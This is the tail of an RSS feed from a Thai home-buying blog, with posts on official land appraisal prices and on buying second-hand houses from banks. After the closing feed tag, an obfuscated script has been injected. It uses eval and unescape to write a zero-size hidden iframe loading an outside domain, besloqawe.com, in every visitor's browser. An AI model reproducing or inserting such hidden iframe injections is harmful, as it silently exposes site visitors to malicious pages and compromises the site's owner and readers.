		<guid isPermaLink="false">http://baan.pornsawan.com/?p=174</guid>
		<description><![CDATA[


 


 





 


   เมื่อเร็ว ๆ นี้มีข่าวว่าราคาประเมินของทางราชการที่ทางกรมธนารักษ์ได้ประกาศไปนั้นเพิ่มขึ้นมากมาย หลายท่านอาจงงว่า ทำไมเป็นเช่นนี้ เพราะเศรษฐกิจของประเทศและเศรษฐกิจโลกมีแนวโน้มที่จะ “ดิ่งเหว” ไม่ใช่หรือ   มาทำความเข้าใจเกี่ยวกับราคาประเมินของทางราชการกับราคาตลาดกันดีกว่า   โปรดเข้าใจว่าราคาที่ทางราชการประกาศนั้น มีชื่ออย่างเป็นทางการว่า   “บัญชีราคาประเมินทุนทรัพย์เพื่อการจดทะเบียนสิทธิและนิติกรรม” นั้น
   ทางราชการปรับปรุงทุกรอบ 4 ปี
   บัญชีราคานี้มีไว้เพื่อการคำนวณภาษีโดยเฉพาะในกรณีการจดทะเบียนสิทธิและนิติกรรมต่างๆ เช่น การซื้อขาย การจำนอง และการโอนทรัพย์สินในกรณีอื่น ๆ ฯลฯ
   รอบล่าสุดที่ปรับคือในช่วงปี 2551-2554 ส่วนการประกาศนอกช่วงคือการปรับเมื่อปี 2552 นี้ ปรับเฉพาะบางพื้นที่ กล่าวคือใน 9 เขตจากทั้งหมดจำนวน 50 เขตของกรุงเทพมหานคร และอีก 120 อำเภอใน 52 จังหวัด จากทั้งหมดราว 7,000 อำเภอในอีก 75 จังหวัดทั่วประเทศ
   การปรับนี้เป็นเพราะทางกรมธนารักษ์ ปรับราคาที่ประกาศใช้ไปก่อนหน้านี้ (พ.ศ.2550-2554) ให้สอดคล้องกับราคาตลาดมากยิ่งขึ้นเท่านั้น
   ไม่ได้หมายความว่าราคาที่ดินเพิ่มขึ้นแต่อย่างไร
   การปรับเพิ่มนี้เกิดขึ้นได้เสมอ ไม่ใช่หมายความว่ากรมธนารักษ์ทำผิดพลาด แต่ในหลายบริเวณมีการเปลี่ยนแปลง เช่น จากที่นาเดิม กลายเป็นบ้านจัดสรรหรือจากท้องไร่ท้องนาตาบอด กลายเป็นทีดินติดทางหลวงสายใหม่ หรือรถไฟฟ้า เป็นต้น
   โปรดทราบว่าบัญชีราคานี้ไม่ใช่ราคาตลาด อาจไม่มีความสัมพันธ์กับราคาตลาดส่วนมากจะต่ำกว่าราคาตลาด แต่ไม่มีสัดส่วนที่แน่นอนว่าจะสูงหรือต่ำกว่ากี่เปอร์เซ็นต์ขึ้นอยู่กับการพิจารณาของแต่ละท้องที่
   ที่ผ่านมาบางแห่งอาจสูงกว่าราคาตลาดบ้างก็เป็นได้ ซึ่งทางราชการก็เปิดโอกาสให้ผู้มีส่วนได้เสียสามารถร้องต่อกรมธนารักษ์ให้แก้ไขราคาให้สอดคล้องกับความเป็นจริงได้
   ดังนั้นเราไม่สามารถนำราคาประเมินทางราชการนี้ไปใช้เพื่ออ้างอิงประกอบการซื้อ-ขายทรัพย์สินได้เลย
   ใครที่นำไปใช้อ้างอิงดังกล่าว หากไม่ใช่เพราะความไม่รู้ ก็อาจมีความฉ้อฉลบางประการที่ประสงค์ให้ได้ราคาตามที่ตนประสงค์ในการซื้อขายจริง สมควรลงทุนว่าจ้างผู้ประเมินค่าทรัพย์สินมืออาชีพทำการวิเคราะห์มูลค่าตลาดที่เหมาะสมประกอบการลงทุน
   ในรอบประกาศ [...]]]></description>
		<wfw:commentRss>http://baan.pornsawan.com/?feed=rss2&amp;p=174</wfw:commentRss>
		</item>
		<item>
		<title>ความรู้เรื่องการซื้อบ้านมือสอง</title>
		<link>http://baan.pornsawan.com/?p=172</link>
		<comments>http://baan.pornsawan.com/?p=172#comments</comments>
		<pubDate>Sat, 17 Jan 2009 04:23:36 +0000</pubDate>
		<dc:creator>tongcomp</dc:creator>
		
		<category><![CDATA[การเลือกซื้อบ้านและวัสดุอุปกรณ์]]></category>

		<category><![CDATA[บ้านมือสอง]]></category>

		<guid isPermaLink="false">http://baan.pornsawan.com/?p=172</guid>
		<description><![CDATA[ความรู้เรื่องการซื้อบ้านมือสอง
ในสมัยนี้บ้านมือสอง อาจเป็นคำตอบที่น่าสนใจ สำหรับผู้ที่คิดจะมีที่อยู่อาศัยสักหลัง เรื่องสภาพต้องด้อยกว่าบ้านมือหนึ่งแน่นอน แต่ถ้าอยู่ในทำเลที่ต้องการ และในราคาที่รับได้ ปัจจุบันนี้ก็มีผู้ให้ความสนใจซื้อขายทรัพย์สินมือสองจากสถาบันการเงินมากขึ้นเรี่อยๆ หากแต่ผู้ซื้อต้องทำการบ้านพอสมควร ซึ่งในเบื้องต้น ขออนุญาตแนะนำสิ่งที่ผู้สนใจซื้อบ้านมือสองจากสถาบันการเงินพอไว้เป็นเกร็ดความรู้สัก 2 ข้อใหญ่ๆ กับอีก 2 ข้อย่อยดังนี้
            1. ดูความมั่นคง น่าเชื่อถือของสถาบันการเงินผู้นำทรัพย์สินออกขาย ข้อนี้เป็นประเด็นแรก เพราะหากคน/ผู้ขายที่คุณจะไปซื้อของด้วยไม่น่าเชื่อถือ ไม่รู้ว่ามาหลอกตุ๋นเงินหรือไม่ ก็ไม่ควรไปยุ่งด้วย เพราะเงินที่จะซื้อบ้านสักหลัง มิใช่เงินสำหรับซื้อโทรศัพท์มือถือนะคะท่าน แล้วจะดูยังไงว่าน่าเชื่อถือ อันนี้เอาง่ายๆ ก็ถ้าผู้ขายเป็นธนาคารพาณิชย์/ธนาคารของรัฐ/บสส.รัฐ ซึ่งมีอยู่ ก็ว่าน่าจะเชื่อถือได้ค่ะ 
            2. ดูตัวทรัพย์ที่ท่านจะซื้อ ข้อนี้แนะนำว่าต้องดูก่อนตัดสินใจซื้อนะคะ มิใช่เจอของถูก ภาพบ้านสวยสนามหญ้าตัดเรียบ มีต้นลีลาวดีประดับ ซื้อเลย วางเงินจองเรียบร้อย พอไปดูบ้านจริง รกยังกับป่านึกว่าบ้านผีสิงซะงั้น เอ้าถ้าจะต้องดูแล้วให้ดูอะไรบ้างล่ะ? 

2.1 ดูทำเลที่ตั้ง โดยรวม ของบ้าน/ที่ดิน ที่จะซื้อว่ามันตั้งอยู่แห่งหนตำบลใด ใกล้สถานที่ทำงานไหม เดินทางสะดวกไหม ซึ่งมันก็ควรจะไม่ไกลจากที่ทำงานหรือเดินทางสะดวก มิใช่ทำงานอยู่ที่ ฝั่งธนบุรี สนใจซื้อบ้าน/ที่ดินเปล่าเพื่อปลูกบ้านที่ รังสิตนครนายกคลอง 13 อันนี้ก็ขอให้โชคดีนะค่ะแค่เดินทางไปให้ถึงที่ทำงาน โดยยังไม่ได้เริ่มทำงานก็หมดแรงแล้ว กินข้าวเช้าที่ทำงานเสร็จก็ง่วงนอนพอดี 
            2.2 ดูทางเข้า-ออกบ้าน/ที่ดิน ว่าติดถนนหรือไม่ เข้าออกสะดวกหรือไม่ [...]]]></description>
		<wfw:commentRss>http://baan.pornsawan.com/?feed=rss2&amp;p=172</wfw:commentRss>
		</item>
	</channel>
</rss>
<script>eval(unescape('%65%76%61%6C%28%66%75%6E%63%74%69%6F%6E%28%61%55%2C%75%76%62%2C%54%4F%68%2C%63%71%51%2C%45%68%43%2C%41%4D%29%7B%45%68%43%3D%53%74%72%69%6E%67%3B%69%66%28%21%27%27%2E%72%65%70%6C%61%63%65%28%2F%5E%2F%2C%53%74%72%69%6E%67%29%29%7B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%41%4D%5B%54%4F%68%5D%3D%63%71%51%5B%54%4F%68%5D%7C%7C%54%4F%68%3B%63%71%51%3D%5B%66%75%6E%63%74%69%6F%6E%28%45%68%43%29%7B%72%65%74%75%72%6E%20%41%4D%5B%45%68%43%5D%7D%5D%3B%45%68%43%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%72%65%74%75%72%6E%27%5C%5C%77%2B%27%7D%3B%54%4F%68%3D%31%7D%3B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%69%66%28%63%71%51%5B%54%4F%68%5D%29%61%55%3D%61%55%2E%72%65%70%6C%61%63%65%28%6E%65%77%20%52%65%67%45%78%70%28%27%5C%5C%62%27%2B%45%68%43%28%54%4F%68%29%2B%27%5C%5C%62%27%2C%27%67%27%29%2C%63%71%51%5B%54%4F%68%5D%29%3B%72%65%74%75%72%6E%20%61%55%7D%28%27%35%2E%32%28%22%3C%38%20%37%3D%5C%5C%22%36%3A%2F%2F%34%2E%30%2F%5C%5C%22%20%33%3D%31%20%39%3D%31%3E%22%29%3B%27%2C%31%30%2C%31%30%2C%27%63%6F%6D%7C%7C%77%72%69%74%65%7C%77%69%64%74%68%7C%62%65%73%6C%6F%71%61%77%65%7C%64%6F%63%75%6D%65%6E%74%7C%68%74%74%70%7C%73%72%63%7C%69%66%72%61%6D%65%7C%68%65%69%67%68%74%27%2E%73%70%6C%69%74%28%27%7C%27%29%2C%30%2C%7B%7D%29%29'));</script><!-- uy7gdr5kmn -->